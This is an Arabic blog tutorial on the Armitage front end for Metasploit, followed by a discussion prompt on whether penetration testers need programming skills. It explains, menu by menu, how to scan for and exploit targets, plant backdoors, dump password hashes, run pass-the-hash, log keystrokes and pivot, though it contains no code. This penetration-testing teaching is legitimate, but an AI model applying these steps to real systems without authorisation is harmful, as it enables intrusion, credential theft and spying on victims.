  1. Modules: يستخدم هذا القسم لتشغيل اي موديول موجود في مشروع الميستاسبويت من ثغرات او payloads او auxiliray. طبعا بامكاننا البحث في الموديولات المختلفة باستخدام صندوق البحث الموجود , بامكاننا استخدام اشارة * للتعويض عن اي قيمة مثلا ftp*.
  2. Targets: يحتوي هذا القسم على الاهداف الموجودة في مساحة العمل الحالية. كل هدف يظر على شكل جهاز حاسوب مع صورة نظام التشغيل الذي يعمل عليه ,بالاضافة الى ذلك يمكننا مشاهدة IP الجهاز و بعض المعلومات الخاصة.
ملاحظات:
  • أشارة الكهرباء تدل على ان الجهاز مخترق.
  • الخط الاخضر هو عبارة عن نفق من جهاز الى الاخر.
  • اضغط الزر الأيمن على أي هدف لمشاهدة الأمور التي يمكننا القيام بها.بعض القوائم تتطلب شروط معينة فمثلا:
- يجب القيام بمسح للمنافذ المفتوحة في الجهاز الهدف قبل محاولة استخدام قائمة Login.
- يجب العثور على الهجمات الممكن تنفيذها على الهدف قبل استخدام قائمة Attacks.
- قائمة Meterpreter و قائمة Shell لن تظهر الا بعد اختراق الجهاز.
3. Tabs: كل العمليات التي نقوم بها في Armitage تظهر في هذا القسم.

الان لنفرض أننا اردنا أن نقوم بعملية اختبار اختراق:

في البداية سنقوم بالبحث عن الاهداف , بامكاننا التحكم بالاهداف من خلال قائمة Hosts حيث تتيح لنا اكثر من خيار:
  1. import hosts: تمكننا من اضافة الاهداف المكتشفة باستخدام برنامج خارجي مثل nmap او nessus و غيرها.
  2. add hosts: لاضافة الاهداف بشكل يدوي.
  3. nmap scans: لاستخدام اداة nmap للبحث عن الاهداف و معلوماتهم بشكل اوتوماتيكي.
  4. msf scans لاستخدام مشروع الميتاسبلويت للبحث عن الاهداف و استخراج معلوماتهم بشكل اوتوماتيكي.
ملاحظة: في حالة اختيار Nmap scans أو MSF scans سيطلب البرنامج منا ادخال ip الهدف او ادخال ip range مثلا
192.168.1.0/24
الان الاهداف ستظهر في قسم Targets كما قلنا سابقا.

الان وصلنا الى الاهداف المطلوبة و تعرفنا علىالبرامج المركبة و المنافذ المفتوحة في الهدف بقي علينا معرفة الثغرة المناسبة لاختراق الجهاز. مجددا Armitage سهلت هذه العملية بشكل كبير فكل ما علينا فعله هو الذهاب الى قائمة Attacks >> Find Attacks و البرنامج سيقوم بعمل قائمة بالهجمات الممكن تنفيذها على الهدف أو الاهداف المختارة. للدخول الى هذه القامة نضغط بزر الفأرة الايمن على الهدف المراد اختراقه و نلاحظ وجود قائمة Attacks و التي تحتوي على الهجمات الممكن تنفيذها على الهدف.

تحت كل هجمة هناك خيار check exploits و الذي يمكننا من معرفة امكانية نجاح هذا الهجوم. بعد انتهاء عملية التحقق بامكاننا الضغط على زر Ctrl و F و البحث عن كلمة vulnerable مثلا لمشاهدة الثغرات التي تمم التحقق من نجاحها.


لتنفيذ هجوم معين فقط نضغط عليه و ستظهر نافذة بالخيارات المتحاحة , في معظم الاحيان Armitage يقوم بوضع هذه الخيارات بشكل اوتوماتيكي و قليلا ما سنحتاج الى التعديل عليها.
Armitage يقوم باختيار paylaod بكشل اوتوماتيكي , meterpreter لأنظمة Windows و basic command shell لانظمة Unix.
اذا تم استغلال الثغرة بشكل صحيح سيتحول لون الهدف في قسم Targets الى اللون الاحمر و ستظهر اشارة الكهرباء حوله.

في حالة عدم نجاح اي من الثغرات المكتشفة Armitage تتيح لنا فرصة تنفيذ عدد من الهجمات القوية (Client-side Exploits) و المفيدة من قائمة Attacks:
  1. Browser Attacks: تحتوي على مجموعة من الثغرات في أشهر المتصفحات المستخدمة.
  2. Email Attacks: تحتوي على ثغرات في برامج اداة البريد الألكتروني.
  3. Browser Autopwn: حيث يتم تكوين صفحة على الخادم الشخصي تحتوي على سكربت Java يقوم بجمع المعلومات عن اي شخص يزور هذه الصفحة و من ثم تشغيل ثغرة متصفح مناسبة.
  4. File Autopwn: حيث تقوم بتكوين رابط يحتوي على backdoors بصيغ متتعددة.
  5. Evil File: تمكننا من عمل Backdoors بصيغ مختلفة.
بالاضافة الى كل هذا فبامكاننا تكوين payload على شكل ملف تنفيذي من خلال اختيار الـpayload الذي نريده من قسم mudules >> payloads و ثم اختيار امتداد الملف المطلوب من حقل output. و كما قلت سابقا  Armitage ستقوم بتعبئة جميع الخيارات بشكل أوتوماتيكي. و للتنصت للاتصال نذهب الى قائمة Armitage >> Listeners و نختار الخيار المناسب للـpayload الذي اخترناه.
الان بعد اختراق الجهاز Armitage توفر بيئة سهلة جدا للتعامل مع الجهاز المخترق , بعد اختراق الجهاز سنلاحظ ظهور قائمة Meterpreter عند الضغط بالزر الأيمن عليه.

هذه القائمة تمكننا من التحكم بالجهاز المخترق بشكل كامل كم خلال:
1. Access: و التي تحتوي على:
  • Dublicate: تقوم هذه الخاصية بعمل backdoor و رفعه على جهاز الهدف و من ثم تشغيله حتى نتمكن من الاتصال بالجهاز مرة اخرى بسهولة طاع الاتصال الحالي ﻷي سبب من الأسباب.
  • Escalate Privileges: تمكننا من تخطي صلاحيات المستخدم و تحويل صلاحياتنا الى Admin.
  • Dump Hashes: تقوم بعمل hash dump للحصول على أسماء المستخدمين و كلمات مرورهم و من ثم عرضها في قسم Tabs.

بعد ذلك بامكاننا عمل هجوم Pass The Hash بكل سهولة , فكل ما علينا فعله هو الضغط على الجهاز المراد عمل الهجوم عليه و الذهاب الى Arracks >> smb >> Pass the has , ستظهر نافذة ستألنا عن اسم المتسخدم الذي نريد استخدامه و سيقوم البرنامج بالباقي بشكل أوتوماتيكي.
2. Interact: تمكننا من استخدام meterpreter shell أو command shell او تشغيل خادم VNC في الجهاز الهدف و الاتصال به.
3. Explore: و تحتوي على :
  • File Browser: و هو عبارة عن متصفح ملفات لتصفح و التعديل على ملفات الهدف.

  • Show Proces: تقوم باظهار البرامج التي تعمل على الجهاز الهدف في الوقت الحالي في قسم Tabs.

  • Key Scan: تقوم بتشغيل اضافة keyscan لالتقاط ضغطات المفاتيح من الجهاز الهدف.
  • Screen Shot: تقوم بالتقاط صورة للجهاز الهدف و اظهارها في قسم Tabs.

4. Pivoting: تمكننا من عمل Pivoting بشكل سهل جدا فكل ما علينا فعله هو الضغط على Setup اختيار الـsubnet المطلوب.
5. MSF Scans: حيث تمكننا من استخدام الميتاسبلويت للبحث عن الثغرات المصابة بها الأجهزة الموجودة في الـsubnet الذي قمنا بعمل pivoting له.
6. Kill: تستخدم لقطع الاتصال مع الجهاز الهدف.

طيب الان انتهينا من النظري و ننتقل الى العملي , الان لدينا شرح فيديو لاستخدام  واجهة Armitage و التحكم بجهاز مخترق.

الفيديو:



الموقع الرسمي للأداة:  fastandeasyhacking.com


نقاش: البرمجة واختبار الاختراق


يؤمن الكثيرين أن البرمجة جزء لا يتجزّء من الهاكر ولتكون هاكر حقيقي يجب أن تمتلك خبرة برمجيّة قوية تمكّنك من البرمجة بأكثر من لغة. في تخصص اختبار الاختراق Penetration Testing اتقانك لاحدى لغات البرمجة لا شك أنه نقطة في صالحك وقد يسهّل عليك الكثير من الأمور ويختصر الوقت لكن هل البرمجة فعلاً أمر ضروري أم أن الأدوات الموجودة تفي بالغرض؟ واذا كانت ضرورية برأيك ما هي اللغة الأفضل لهذا المجال ولماذا؟

موضوع النقاش:

  • هل اتقان البرمجة أمر ضروري أم يمكن للشخص أن يكون Penetration Tester ناجح دون أن يجيد البرمجة.
  • كيف ستساعد البرمجة مختبر الاختراق في عمله وهل ترى أن تعلّم لغة برمجة واحدة أمر كافي.
  • ما هي اللغة أو اللغات التي تعتقد أنه يجب على مختبر الاختراق تعلّمها ولماذا؟
  • اذا كنت ترى أن تعلم البرمجة أمر غير ضروري في اختبار الاختراق هل يمكن توضيح الأسباب.

أتمنى ألا يكون النقاش عبارة عن أسئلة وأجوبة فقط وليناقش كل شخص الأفكار المطروحة حسب رأيه الشخصي ويضيف أي شيء يريده, البعض يرى أن البرمجة غير ضرورية في عمليّة اختبار الاختراق لأن الاهتمام الأكبر سيكون منصب على الـ Vulnerability Assessment أكثر من البرمجة بحد ذاتها وآخرين لا يمكنهم تصوّر الهاكر (مختبر الاختراق) بدون اتقانه للبرمجة بلغة واحدة على الأقل, كذلك اختيار لغة البرمجة المناسبة لتعلّمها والتي ستفيد الهاكر في اختبار الاختراق أمر مهم أيضاً.

 
Copyleft © 2011. مدونة الهكر الاخلاقي العربي - All lefts Reserved
تعريب the3kira